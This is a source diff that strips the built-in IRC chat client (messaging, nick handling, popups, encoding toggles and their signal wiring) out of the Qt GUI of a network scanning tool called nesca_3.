strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); - UserNickInit(); - ui->shoutBox->setFocus(); -} - void nesca_3::CheckPersKey() { emitIfOK = -1; @@ -1508,78 +1290,12 @@ void nesca_3::CheckPersKey(int val = -1) }; } -void _finishNick() -{ - QList<QListWidgetItem *> ql = ui->nickList->findItems(ui->shoutBox->text(), Qt::MatchStartsWith); - if(ql.size() > 0) - { - ui->shoutBox->setText(ql[0]->text() + ", "); - ui->shoutBox->setFocus(); - }; -} - bool nesca_3::eventFilter(QObject* obj, QEvent *event) { - if (obj == ui->shoutBox) - { - if (event->type() == QEvent::KeyPress) - { - QKeyEvent* keyEvent = static_cast<QKeyEvent*>(event); - if (keyEvent->key() == Qt::Key_Up) - { - ui->shoutBox->setText(PhraseLog[PhraseIndex]); - ++PhraseIndex; - if(PhraseIndex >= PhraseLog.size()) PhraseIndex = 0; - return true; - } - else if(keyEvent->key() == Qt::Key_Down) - { - --PhraseIndex; - if(PhraseIndex < 0) PhraseIndex = PhraseLog.size() - 1; - - ui->shoutBox->setText(PhraseLog[PhraseIndex]); - return true; - } - else if(keyEvent->modifiers() == Qt::ControlModifier) - { - privateMsgFlag = true; - event->accept(); - } - else if(keyEvent->key() == Qt::Key_Tab) - { - _finishNick(); - return true; - }; - }; - return false; - } - else if (obj == ui->ircText) - { - if (event->type() == QEvent::KeyPress) - { - QKeyEvent* keyEvent = static_cast<QKeyEvent*>(event); - if(keyEvent->modifiers() == Qt::ControlModifier) - { - privateMsgFlag = true; - event->accept(); - return true; - }; - return false; - } - else if (event->type() == QEvent::KeyRelease) - { - privateMsgFlag = false; - event->accept(); - return true; - }; - return false; - } - else if (obj == qwm) - { - //auto qwe = event->type(); + if (obj == qwm) + { if(MapWidgetOpened && event->type() == QEvent::WindowActivate) { - //qwm->raise(); this->raise(); }; if (event->type() == QEvent::KeyPress) @@ -1628,249 +1344,12 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event) }; } -void nesca_3::ChangeTopic() -{ - if(ui->topicLine->text().size() > 0) - { - char temp[2048] = {0}; - - QString strf; - - QTextCodec *codec = QTextCodec::codecForName("Windows-1251"); - strf = codec->toUnicode(ui->topicLine->text().toUtf8()); - strcpy(temp, "TOPIC #"); - strcat(temp, IRC_CHAN); - strcat(temp, " :"); - strncat(temp, strf.toLocal8Bit().data(), 256); - strcat(temp, "\n"); - - sendS(lSock, temp, strlen(temp), 0); - }; -} - -void nesca_3::SaySmthng() -{ - if(ui->shoutBox->text().size() > 0) - { - char temp[2048] = {0}; - globalPinger = 0; - PhraseIndex = 0; - if(PhraseLog.size() > 50) - { - PhraseLog.pop_back(); - if(ui->shoutBox->text() != PhraseLog[PhraseIndex]) PhraseLog.push_front(ui->shoutBox->text()); - } - else - { - if(ui->shoutBox->text() != PhraseLog[PhraseIndex]) PhraseLog.push_front(ui->shoutBox->text()); - }; - - if(ui->shoutBox->text() == "/clear" || ui->shoutBox->text() == "clear" || ui->shoutBox->text() == "clr") - { - ui->ircText->clear(); - } - else if(ui->shoutBox->text().contains("/me ")) - { - QString strf; - if(utfIRCFlag) - { - strf = codec->toUnicode(ui->shoutBox->text().toUtf8()); - } - else strf = ui->shoutBox->text(); - - strcpy(temp, "PRIV"); - strcat(temp, "MSG #"); - strcat(temp, IRC_CHAN); - strcat(temp, " :"); - strcat(temp, "ACTION "); - strcat(temp, strf.toLocal8Bit().data() + 3); - strcat(temp, "\n"); - sendS(lSock, temp, strlen(temp), 0); - appendDefaultIRCTextOut("--> " + ui->ircNickBox->text() + " " + strf.mid(3)); - } - else if(ui->shoutBox->text().contains("/w ")) - { - int lBoundary1 = ui->shoutBox->text().indexOf(" "); - int lBoundary2 = ui->shoutBox->text().indexOf(","); - int lBoundary = 0; - if(lBoundary1 == -1) - { - lBoundary = lBoundary2; - } - else if(lBoundary2 == -1) - { - lBoundary = lBoundary1; - } - else if(lBoundary1 > lBoundary2) - { - lBoundary = lBoundary2; - } - else - { - lBoundary = lBoundary1; - }; - QString nickPG = ui->shoutBox->text().mid(lBoundary + 1); - int rBoundary = nickPG.indexOf(" "); - QString nickP = ui->shoutBox->text().mid(lBoundary + 1, rBoundary); - QString msgP = nickPG.mid(rBoundary + 1); - - QString strf; - if(utfIRCFlag) - { - strf = codec->toUnicode(msgP.toUtf8()); - } - else strf = msgP; - - strcpy(temp, "PRIV"); - strcat(temp, "MSG "); - strcat(temp, nickP.toLocal8Bit().data()); - strcat(temp, " :"); - strcat(temp, strf.toLocal8Bit().data()); - strcat(temp, "\n"); - sendS(lSock, temp, strlen(temp), 0); - sendS(lSock, "PING 0", 6, 0); - - QString rData; - QString rData2; - - if(utfIRCFlag) - { - QString str = codec->toUnicode(msgP.toUtf8()); - rData2 = "<font color=\"#ffae00\">[" + QTime::currentTime().toString() + "]</font> <font color=\"#810000\">[PM -> " + nickP + "]:</font> " + msgP; - ui->ircText->append(rData2); - rData = "<font color=\"#ffae00\">[" + QTime::currentTime().toString() + "]</font> <font color=\"#810000\">[PM -> " + nickP + "]:</font> " + str; - globalIRCText += rData + "\n"; - } - else - { - rData = "<font color=\"#ffae00\">[" + QTime::currentTime().toString() + "]</font> <font color=\"#810000\">[PM -> " + nickP + "]:</font> " + msgP; - ui->ircText->append(rData); - globalIRCText += rData + "\n"; - }; - } - else if(ui->shoutBox->text().contains("/nick ")) - { - int lBoundary = ui->shoutBox->text().indexOf(" "); - - QString nickPG = ui->shoutBox->text().mid(lBoundary + 1); - int rBoundary = nickPG.indexOf(" "); - QString nickP = ui->shoutBox->text().mid(lBoundary + 1, rBoundary); - - strcpy(temp, "NICK "); - strcat(temp, nickP.toLocal8Bit().data()); - strcat(temp, "\n"); - ui->ircNickBox->setText(nickP); - UserNickInit(); - } - else - { - QString strf; - if(utfIRCFlag) - { - strf = codec->toUnicode(ui->shoutBox->text().toUtf8()); - } - else strf = ui->shoutBox->text(); - if(IRCLogToggled) - { - strcpy(temp, "PRIV"); - strcat(temp, "MSG #"); - strcat(temp, IRC_CHAN); - strcat(temp, " :"); - strcat(temp, strf.toLocal8Bit().data()); - strcat(temp, "\n"); - appendDefaultIRCTextOut("[" + ui->ircNickBox->text() + "]: " + strf); - } - else - { - if(strf.contains("join ")) - { - appendDefaultIRCRawTextOut("[JOIN command is not accepted]"); - ui->shoutBox->clear(); - return; - } - else - { - strcpy(temp, strf.toLocal8Bit().data()); - strcat(temp, "\n"); - }; - }; - - sendS(lSock, temp, strlen(temp), 0); - }; - - ui->shoutBox->clear(); - }; -} - -void nesca_3::slotChangeCPModeToUTF() -{ - utfIRCFlag = true; - ui->IRCUTFMode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); - ui->IRCCP1251Mode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);color: rgb(71, 71, 71);"); - - QByteArray wtfR = codec->fromUnicode(globalIRCRaw.replace("\n", "<br>")); - QByteArray wtfT = codec->fromUnicode(globalIRCText.replace("\n", "<br>")); - ui->ircText->setHtml( QString(wtfT) ); - ui->ircRaw->setHtml( QString(wtfR) ); - ui->ircText->verticalScrollBar()->setValue(ui->ircText->verticalScrollBar()->maximum()); - ui->ircRaw->verticalScrollBar()->setValue(ui->ircRaw->verticalScrollBar()->maximum()); -} - -void nesca_3::slotChangeCPModeTo1251() -{ - utfIRCFlag = false; - ui->IRCCP1251Mode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); - ui->IRCUTFMode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);color: rgb(71, 71, 71);"); - - ui->ircText->setHtml(globalIRCText.replace("\n", "<br>")); - ui->ircRaw->setHtml(globalIRCRaw.replace("\n", "<br>")); - ui->ircText->verticalScrollBar()->setValue(ui->ircText->verticalScrollBar()->maximum()); - ui->ircRaw->verticalScrollBar()->setValue(ui->ircRaw->verticalScrollBar()->maximum()); -} - -void nesca_3::onLinkClicked(QUrl link) -{ - QString lnk = link.toString(); - - if(lnk.contains("nesca:") == 1 && privateMsgFlag == false) - { - ui->shoutBox->setText(ui->shoutBox->text() + lnk.mid(6) + ", "); - ui->shoutBox->setFocus(); - } - else if(lnk.contains("nesca:") == 1 && privateMsgFlag) - { - ui->shoutBox->setText("/w " + lnk.mid(6) + " "); - ui->shoutBox->setFocus(); - } - else - { - QDesktopServices::openUrl(link); - }; -} - -void nesca_3::slotRestartIRC() -{ - ircPTh->terminate(); - globalPinger = 0; - CSSOCKET(lSock); - ircTh->terminate(); - ircTh->start(); -} - void nesca_3::slotClearLogs() { ui->dataText->clear(); ui->BAText->clear(); } -void nesca_3::slotIRCGetTopic(QString str) -{ - ui->topicLine->setText(str); - QString rData; - rData = "<font style=\"color:#c0ff00; text-decoration: underline;\">Topic: \"" + str + "\"</font>"; - globalIRCText += rData + "\n"; - ui->ircText->append(rData); -} int c = 1; @@ -1962,88 +1441,6 @@ void PieStatView::contextMenuEvent(QContextMenuEvent *event) connect(menuPS, SIGNAL(triggered(QAction *)), gthis, SLOT(slotSaveImage(QAction *))); } -QLabel *msgLbl; -QLabel *msgDLbl; -QLabel *msgTLbl; -QLabel *msgNLbl; -void nesca_3::slotUnhidePopup(QString strD = "", QString senderNick = "") -{ - msgWdgt->show(); - QString str; - if(utfIRCFlag) - { - QByteArray wtf = codec->fromUnicode(strD); - str = QString(wtf); - } - else str = strD; - if(msgLbl != NULL) msgLbl->setText(str); - if(msgNLbl != NULL) msgNLbl->setText(senderNick); - if(msgDLbl != NULL) msgDLbl->setText(QTime::currentTime().toString()); -} - -void CreateMsgPopupWidget(QString str = "", QString senderNick = "") -{ - QDesktopWidget desk; - - int px_width = desk.width(); - int px_height = desk.height(); - - msgWdgt = new PopupMsgWidget(); - msgWdgt->setWindowFlags(Qt::FramelessWindowHint|Qt::WindowStaysOnTopHint|Qt::SubWindow); - msgWdgt->setStyleSheet( - "background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255)); border: 1px solid #525252;" - ); - - msgWdgt->setGeometry(px_width - 300, px_height - 100, 300, 100); - - QLabel *msgBLbl = new QLabel(msgWdgt); - msgBLbl->setGeometry(0, 0, 300, 100); - msgBLbl->setStyleSheet( - "background-color: rgba(0, 0, 0, 0);" - ); - msgBLbl->show(); - - msgDLbl = new QLabel(msgWdgt); - msgDLbl->setGeometry(0, 0, 300, 15); - msgDLbl->setStyleSheet( - "background-color: rgba(0, 0, 0, 70);" - ); - msgDLbl->show(); - - msgTLbl = new QLabel(msgWdgt); - msgTLbl->setText("New message"); - msgTLbl->setStyleSheet( - "color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);" - ); - msgTLbl->show(); - - msgDLbl = new QLabel(msgWdgt); - msgDLbl->setGeometry(249, 0, 300, 15); - msgDLbl->setText(QTime::currentTime().toString()); - msgDLbl->setStyleSheet( - "color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);" - ); - msgDLbl->show(); - - msgLbl = new QLabel(msgWdgt); - msgLbl->setText(str); - msgLbl->setGeometry(10, 10, 290, 100); - msgLbl->setAlignment(Qt::AlignHCenter|Qt::AlignVCenter); - msgLbl->setStyleSheet( - "color: rgb(246, 246, 246);background-color: rgba(2, 2, 2, 0); border:none;font-weight: bold;" - ); - msgLbl->show(); - - msgNLbl = new QLabel(msgWdgt); - msgNLbl->setText(senderNick); - msgNLbl->setGeometry(35, 0, 249, 15); - msgNLbl->setAlignment(Qt::AlignHCenter); - msgNLbl->setStyleSheet( - "color: rgb(246, 246, 246);background-color: rgba(2, 2, 2, 0); border:none;font-weight: bold;text-decoration:underline;" - ); - msgNLbl->show(); -} - QTextBrowser *SendData; QTextBrowser *RecvData; void nesca_3::slotShowDataflow() @@ -2173,21 +1570,6 @@ void nesca_3::slotVoiceAddLine() }; } -void nesca_3::slotShowNicks() -{ - if(ui->nickShowBut->text() == "<") - { - ui->nickShowBut->setText(">"); - ui->nickList->raise(); - GetNicks(); - } - else - { - ui->nickShowBut->setText("<"); - ui->nickList->lower(); - }; -} - QRegExp _rOutProt(" HTTP/1.\\d+"); QRegExp _rOutPath(" /(\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|\\(|\\)|=|\\+|<|>|;|:|\"|'|~|\\[|\\])* "); QRegExp _rOutHost("Host: ((\\w|\\d|\\.|:|/)*)\\r\\n"); @@ -2815,27 +2197,12 @@ void nesca_3::ConnectEvrthng() connect ( ui->secretMessageBut_5, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); connect ( ui->secretMessageBut_6, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); connect ( ui->secretMessageBut_7, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); - connect ( ui->secretMessageBut_8, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); - connect ( ui->nickList, SIGNAL(itemClicked(QListWidgetItem*)), this, SLOT(slotItemClicked(QListWidgetItem*))); - connect ( ui->nickShowBut, SIGNAL( clicked() ), this, SLOT( slotShowNicks() ) ); - connect ( ui->ircText, SIGNAL( anchorClicked(QUrl) ), this, SLOT( onLinkClicked(QUrl) ) ); - connect ( ui->ircRaw, SIGNAL( anchorClicked(QUrl) ), this, SLOT( onLinkClicked(QUrl) ) ); - connect ( ui->dataText, SIGNAL( anchorClicked(QUrl) ), this, SLOT( onLinkClicked(QUrl) ) ); - connect ( ui->ircProxy, SIGNAL( returnPressed() ), this, SLOT( CheckProxy() ) ); - connect ( ui->ircProxyPort, SIGNAL( returnPressed() ), this, SLOT( CheckProxy() ) ); - connect ( ui->shoutBox, SIGNAL( returnPressed() ), this, SLOT( SaySmthng() ) ); - connect ( ui->ircNickBox, SIGNAL( returnPressed() ), this, SLOT( ChangeNick() ) ); - connect ( ui->ircServerBox, SIGNAL( returnPressed() ), this, SLOT( ConnectToIRCServer() ) ); - connect ( ui->serverPortBox, SIGNAL( returnPressed() ), this, SLOT( ConnectToIRCServer() ) ); + connect ( ui->secretMessageBut_8, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->dataText, SIGNAL( anchorClicked(QUrl) ), this, SLOT( onLinkClicked(QUrl) ) ); connect ( ui->checkKeyBut, SIGNAL( clicked() ), this, SLOT( CheckPersKey() ) ); - connect ( ui->DataflowModeBut, SIGNAL( clicked() ), this, SLOT( slotShowDataflow() ) ); - connect ( ui->IRCConnectBut, SIGNAL( clicked() ), this, SLOT( ConnectToIRCServer() ) ); - connect ( ui->IRCModeChangerBut, SIGNAL( clicked() ), this, SLOT( ChangeIRCRawLog() ) ); - connect ( ui->JobModeBut, SIGNAL( clicked() ), this, SLOT( switchToJobMode() ) ); - connect ( ui->IRCModeBut, SIGNAL( clicked() ), this, SLOT( ChangeDispalyMode() ) ); - connect ( ui->clearLogBut, SIGNAL( clicked() ), this, SLOT( slotClearLogs() ) ); - connect ( ui->IRCUTFMode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeToUTF() ) ); - connect ( ui->IRCCP1251Mode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeTo1251() ) ); + connect ( ui->DataflowModeBut, SIGNAL( clicked() ), this, SLOT( slotShowDataflow() ) ); + connect ( ui->JobModeBut, SIGNAL( clicked() ), this, SLOT( switchToJobMode() ) ); + connect ( ui->clearLogBut, SIGNAL( clicked() ), this, SLOT( slotClearLogs() ) ); connect ( mct, SIGNAL(showNewMsg(QString)), this, SLOT(slotShowServerMsg(QString))); connect ( tray, SIGNAL(activated(QSystemTrayIcon::ActivationReason)),this,SLOT(trayButtonClicked())); connect ( ui->exitButton, SIGNAL( clicked() ), this, SLOT( exitButtonClicked() ) ); @@ -2857,8 +2224,7 @@ void nesca_3::ConnectEvrthng() connect ( ui->iptoLine_value_3, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelTO_ValueChanged(QString) ) ); connect ( ui->restoreDefaultPorts1, SIGNAL( clicked() ), this, SLOT( slotRestoreDefPorts() ) ); connect ( ui->restoreDefaultPorts2, SIGNAL( clicked() ), this, SLOT( slotRestoreDefPorts() ) ); - connect ( ui->restoreDefaultPorts3, SIGNAL( clicked() ), this, SLOT( slotRestoreDefPorts() ) ); - connect ( ui->IRCCheckProxyBut, SIGNAL( clicked() ), this, SLOT( CheckProxy() ) ); + connect ( ui->restoreDefaultPorts3, SIGNAL( clicked() ), this, SLOT( slotRestoreDefPorts() ) ); connect ( ui->lineEditStartIPDNS, SIGNAL( textChanged(QString) ), this, SLOT( DNSLine_ValueChanged(QString) ) ); connect ( ui->ipLine, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClicked() ) ); connect ( ui->threadLine, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClicked() ) ); @@ -2871,8 +2237,7 @@ void nesca_3::ConnectEvrthng() connect ( ui->me2ScanBut, SIGNAL( clicked() ), this, SLOT( activateME2ScanScene() ) ); connect ( ui->QoSScanBut, SIGNAL( clicked() ), this, SLOT( activateQoSScanBut() ) ); connect ( ui->VoiceScanBut, SIGNAL( clicked() ), this, SLOT( activateVoiceScanBut() ) ); - connect ( ui->PieStatBut, SIGNAL( clicked() ), this, SLOT( activatePieStatBut() ) ); - connect ( ui->topicLine, SIGNAL( returnPressed() ), this, SLOT( ChangeTopic() ) ); + connect ( ui->PieStatBut, SIGNAL( clicked() ), this, SLOT( activatePieStatBut() ) ); connect ( stt, SIGNAL(showRedVersion()), this, SLOT(slotShowRedVersion())); connect ( stt, SIGNAL(startScanIP()), this, SLOT(IPScanSeq())); connect ( stt, SIGNAL(startScanDNS()), this, SLOT(DNSScanSeq())); @@ -2897,28 +2262,6 @@ void nesca_3::ConnectEvrthng() connect ( stt, SIGNAL(changeGreenBAData(QString)), this, SLOT(appendGreenBAData(QString))); connect ( stt, SIGNAL(changeRedBAData(QString)), this, SLOT(appendRedBAData(QString))); connect ( stt, SIGNAL(signalDataSaved(bool)), this, SLOT(changeNSTrackLabel(bool))); - connect ( chPTh, SIGNAL(changeGreenIRCData(QString)), this, SLOT(appendGreenIRCText(QString))); - connect ( chPTh, SIGNAL(changeRedIRCData(QString)), this, SLOT(appendRedIRCText(QString))); - connect ( chPTh, SIGNAL(changeYellowIRCData(QString)), this, SLOT(appendYellowIRCText(QString))); - connect ( chPTh, SIGNAL(changeIRCData(bool, bool, int, QString, QString)), this, SLOT(appendDefaultIRCText(bool, bool, int, QString, QString))); - connect ( ircTh, SIGNAL(getTopic(QString)), this, SLOT(slotIRCGetTopic(QString)) ); - connect ( ircTh, SIGNAL(IRCOfflined()), this, SLOT(slotIRCOfflined()) ); - connect ( ircTh, SIGNAL(sUnhidePopup(QString, QString)), this, SLOT(slotUnhidePopup(QString, QString))); - connect ( ircTh, SIGNAL(ClearNickList()), this, SLOT(slotClearNickList())); - connect ( ircTh, SIGNAL(AddNick(QString)), this, SLOT(slotAppendIRCNick(QString))); - connect ( ircTh, SIGNAL(changeGreenIRCData(QString)), this, SLOT(appendGreenIRCText(QString))); - connect ( ircTh, SIGNAL(changeRedIRCData(QString)), this, SLOT(appendRedIRCText(QString))); - connect ( ircPTh, SIGNAL(changeRedIRCData(QString)), this, SLOT(appendRedIRCText(QString))); - connect ( ircPTh, SIGNAL(RestartIRC()), this, SLOT(slotRestartIRC())); - connect ( ircTh, SIGNAL(changeYellowIRCData(QString)), this, SLOT(appendYellowIRCText(QString))); - connect ( ircTh, SIGNAL(changeIRCData(bool, bool, int, QString, QString)), this, SLOT(appendDefaultIRCText(bool, bool, int, QString, QString))); - connect ( ircTh, SIGNAL(changeRawIRCDataInc(QString)), this, SLOT(appendDefaultIRCRawTextInc(QString))); - connect ( ircTh, SIGNAL(changeRawIRCDataOut(QString)), this, SLOT(appendDefaultIRCRawTextOut(QString))); - connect ( chPTh, SIGNAL(changeRawIRCDataInc(QString)), this, SLOT(appendDefaultIRCRawTextInc(QString))); - connect ( chPTh, SIGNAL(changeRawIRCDataOut(QString)), this, SLOT(appendDefaultIRCRawTextOut(QString))); - connect ( ircTh, SIGNAL(setNick(QString)), this, SLOT(setNickBox(QString))); - connect ( ircTh, SIGNAL(changeIRCDataOut(QString)), this, SLOT(appendDefaultIRCTextOut(QString))); - connect ( ircTh, SIGNAL(notifyPlay()), this, SLOT(playFcknSound())); connect ( adtHN, SIGNAL(sDrawActivityLine(QString)), this, SLOT(slotDrawActivityLine(QString))); connect ( adtHN, SIGNAL(sDrawGrid()), this, SLOT(slotDrawActivityGrid())); connect ( dtHN, SIGNAL(sAddDelimLines()), this, SLOT(slotDrawDelimLines())); @@ -2932,9 +2275,10 @@ void nesca_3::ConnectEvrthng() connect ( vsTh, SIGNAL(sAddLine()), this, SLOT(slotVoiceAddLine())); connect ( vsTh, SIGNAL(sDrawGrid(int)), this, SLOT(slotDrawVoiceGrid(int))); connect ( vsTh, SIGNAL(sDrawTextPlacers()), this, SLOT(slotDrawTextPlacers())); - connect ( psTh, SIGNAL(sUpdatePie()), this, SLOT(slotUpdatePie()) ); - connect ( irc_nmb, SIGNAL(sBlinkMessage()), this, SLOT(slotBlinkMessage()) ); + connect ( psTh, SIGNAL(sUpdatePie()), this, SLOT(slotUpdatePie()) ); connect ( ui->tabMainWidget, SIGNAL(currentChanged(int)), this, SLOT(slotTabChanged(int)) ); + /*Msg blinker*/ + //connect ( irc_nmb, SIGNAL(sBlinkMessage()), this, SLOT(slotBlinkMessage()) ); } void _LoadPersInfoToLocalVars(int savedTabIndex) { @@ -2984,11 +2328,6 @@ void _LoadPersInfoToLocalVars(int savedTabIndex) { strncpy(trcPersKey, ui->linePersKey->text().toLocal8Bit().data(), 32); memset(trcPersKey + 32, '\0', 1); strcpy(trcSrvPortLine, ui->trcSrvPortLine->text().toLocal8Bit().data()); - strcpy(ircServer, ui->ircServerBox->text().toLocal8Bit().data()); - strcpy(ircPort, ui->serverPortBox->text().toLocal8Bit().data()); - strcpy(ircProxy, ui->ircProxy->text().toLocal8Bit().data()); - strcpy(ircProxyPort, ui->ircProxyPort->text().toLocal8Bit().data()); - strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); strncpy(gProxyIP, ui->systemProxyIP->text().toLocal8Bit().data(), 64); gProxyIP[ui->systemProxyIP->text().size()] = '\0'; strncpy(gProxyPort, ui->systemProxyPort->text().toLocal8Bit().data(), 8); @@ -3183,13 +2522,8 @@ void RestoreSession() } setUIText("[MAXBTHR]:", ui->maxBrutingThrBox, resStr); setUIText("[PERSKEY]:", ui->linePersKey, resStr); - setUIText("[IRCSERVER]:", ui->ircServerBox, resStr); - setUIText("[IRCPORT]:", ui->serverPortBox, resStr); - setUIText("[IRCPROXY]:", ui->ircProxy, resStr); - setUIText("[IRCPROXYPORT]:", ui->ircProxyPort, resStr); setUIText("[SYSTEMPROXYIP]:", ui->systemProxyIP, resStr); setUIText("[SYSTEMPROXYPORT]:", ui->systemProxyPort, resStr); - setUIText("[IRCNICK]:", ui->ircNickBox, resStr); ZeroMemory(resStr, sizeof(resStr)); }; @@ -3278,10 +2612,7 @@ void _startMsgCheck() gthis = this; ui->setupUi(this); - ui->widgetIRC->installEventFilter(this); - ui->shoutBox->installEventFilter(this); - setSomeStyleArea(); - ui->IRCModeChangerBut->setVisible(false); + setSomeStyleArea(); ui->dataText->setOpenExternalLinks(true); ui->dataText->setOpenLinks(false); ui->rVerLabel->hide(); @@ -3295,9 +2626,7 @@ void _startMsgCheck() QTime time = QTime::currentTime(); qsrand((uint)time.msec()); - - ui->ircNickBox->setText("nsa_" + QString::number(qrand() % 8999 + 1000)); - + strcpy(gVER, GetVer()); QString QVER(gVER); ui->logoLabel->setToolTip("v3-" + QVER); @@ -3306,8 +2635,7 @@ void _startMsgCheck() CreateVerFile(); RestoreSession(); - PhraseLog.push_back(""); - CreateMsgPopupWidget(); + PhraseLog.push_back(""); dtHN->start(); dtME2->start(); @@ -3330,11 +2658,6 @@ void _startMsgCheck() qrp.setMinimal(true); } -void nesca_3::playFcknSound() -{ - QSound::play("00000036.wav"); -} - void nesca_3::mousePressEvent(QMouseEvent *event) { if (event->button() == Qt::LeftButton) { @@ -3657,218 +2980,6 @@ QString GetColorCode(int mode, QString str) return result; } -void nesca_3::appendDefaultIRCTextOut(QString str) -{ - bool thisIsUrl = false; - r.indexIn(str); - - QString link = r.cap(0); - - if(link.size() != 0) - { - str.replace("<", "<"); - link.replace("<", "<"); - str.replace(r, "<a href=\"" + link.trimmed() + "\"><span style=\"color: #717171;\">" + link.trimmed() + "</span></a> "); - thisIsUrl = true; - }; - - QString rData; - if(code160 || thisIsUrl) rData = "<font color=\"white\">[" + QTime::currentTime().toString() + "] " + str.trimmed() + "</font>"; - else rData = "<font color=\"white\">[" + QTime::currentTime().toString() + "] " + str.trimmed().toHtmlEscaped() + "</font>"; - - globalIRCText += rData + "\n"; - if(utfIRCFlag) - { - QByteArray wtf = codec->fromUnicode(rData); - ui->ircText->append(QString(wtf)); - } - else ui->ircText->append(rData); - - thisIsUrl = false; -} - -void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, QString str, QString senderNick) -{ - bool thisIsUrl = false; - - int pos = 0; - QString colRes; - while ((pos = colr.indexIn(str, pos)) != -1) - { - colRes = colr.cap(1); - if(colRes.indexOf(",") > 0) str.replace(colRes, "</font><font style=\"color: " + GetColorCode(0, colRes) + ";background-color: " + GetColorCode(1, colRes) + ";\">"); - else str.replace(colRes, "</font><font style=\"color: " + GetColorCode(0, colRes) + ";\">"); - pos += colr.matchedLength(); - thisIsUrl = true; - }; - - int posBold = 0; - QString boldRes; - boldr.setMinimal(true); - while ((posBold = boldr.indexIn(str, posBold)) != -1) - { - boldRes = boldr.cap(0); - QString boldResTrimmed = boldRes; - boldResTrimmed.replace("", ""); - str.replace(boldRes, "<font style=\"font-weight: bold;\">" + boldResTrimmed + "</font>"); - posBold += boldr.matchedLength(); - thisIsUrl = true; - }; - - int posUnder = 0; - QString underRes; - under.setMinimal(true); - while ((posUnder = under.indexIn(str, posUnder)) != -1) - { - underRes = under.cap(0); - QString underResTrimmed = underRes; - underResTrimmed.replace("", ""); - str.replace(underRes, "<font style=\"text-decoration: underline;\">" + underResTrimmed + "</font>"); - posUnder += under.matchedLength(); - thisIsUrl = true; - }; - - r.indexIn(str); - QString link = r.cap(0); - if(link.size() != 0) - { - str.replace("<", "<"); - link.replace("<", "<"); - str.replace(r, "<a href=\"" + link.trimmed() + "\"><span style=\"color: #717171;\">" + link.trimmed() + "</span></a> "); - thisIsUrl = true; - }; - - - str.replace("", "</font>"); - str.replace("", "</font>"); - - char rawData[512] = {0}; - strncpy(rawData, str.toLocal8Bit().data(), 512); - - if(strstr(rawData, "") != NULL || strstr(rawData, "") != NULL || - strstr(rawData, "") != NULL || strstr(rawData, "") != NULL - ) thisIsUrl = true; - - QString rData; - if(strstr(rawData, "ACTION") != NULL) - { - senderNick.replace("[", ""); - senderNick.replace("]:", ""); - str.replace("ACTION", ""); - str.replace("", ""); - rData = "<font color=\"#ffae00\">[" + QTime::currentTime().toString() + "]</font> -->" + senderNick + "<font style=\"color:#darkgray;background-color:#003f5f;\"> " + str.trimmed().toHtmlEscaped() + "</font>"; - globalIRCText += rData + "\n"; - if(utfIRCFlag) - { - QByteArray wtf = codec->fromUnicode(rData); - ui->ircText->append(QString(wtf)); - } - else ui->ircText->append(rData); - } - else - { - if(hlflag) - { - if(code160 || thisIsUrl) rData = "<font color=\"#ffae00\">[" + QTime::currentTime().toString() + "]</font> " + (pm?" <font color=\"#810000\">[PM]</font> ":"") + senderNick + "<font style=\"color:#AFAFAF;background-color:#003f5f;\"> " + str + "</font>"; - else rData = "<font color=\"#ffae00\">[" + QTime::currentTime().toString() + "]</font> " + (pm?" <font color=\"#810000\">[PM]</font> ":"") + senderNick + "<font style=\"color:#AFAFAF;background-color:#003f5f;\"> " + str.trimmed().toHtmlEscaped() + "</font>"; - } - else - { - if(code160 || thisIsUrl) rData = "<font color=\"#ffae00\">[" + QTime::currentTime().toString() + "]</font> " + (pm?" <font color=\"#810000\">[PM]</font> ":"") + senderNick + "<font style=\"color:#AFAFAF;\"> " + str + "</font>"; - else rData = "<font color=\"#ffae00\">[" + QTime::currentTime().toString() + "]</font> " + (pm?" <font color=\"#810000\">[PM]</font> ":"") + senderNick + "<font color=\"#AFAFAF\"> " + str.trimmed().toHtmlEscaped() + "</font>"; - }; - - globalIRCText += rData + "\n"; - if(utfIRCFlag) - { - QByteArray wtf = codec->fromUnicode(rData); - ui->ircText->append(QString(wtf)); - } - else ui->ircText->append(rData); - }; -} - -void nesca_3::appendRedIRCText(QString str) -{ - QString rData; - rData = "<font style=\"color:red;background-color:#313131;\">[" + QTime::currentTime().toString() + "] " + str + "</font>"; - globalIRCText += rData + "\n"; - ui->ircText->append(rData); -} - -void nesca_3::appendGreenIRCText(QString str) -{ - QString rData; - rData = "<font style=\"color:#06ff00;\">[" + QTime::currentTime().toString() + "] " + str + "</font>"; - globalIRCText += rData + "\n"; - ui->ircText->append(rData); -} - -void nesca_3::appendYellowIRCText(QString str) -{ - QString rData; - rData = "<font style=\"color:#efe100;\">[" + QTime::currentTime().toString() + "] " + "[*] " + str.trimmed() + "</font>"; - globalIRCText += rData + "\n"; - ui->ircText->append(rData); -} - -void nesca_3::appendDefaultIRCRawTextInc(QString str) -{ - QString rData; - if(code160) rData = "[" + QTime::currentTime().toString() + "] " + str; - else rData = "[" + QTime::currentTime().toString() + "] " + str.toHtmlEscaped(); - globalIRCRaw += rData + "\n"; - if(utfIRCFlag) - { - QByteArray wtf 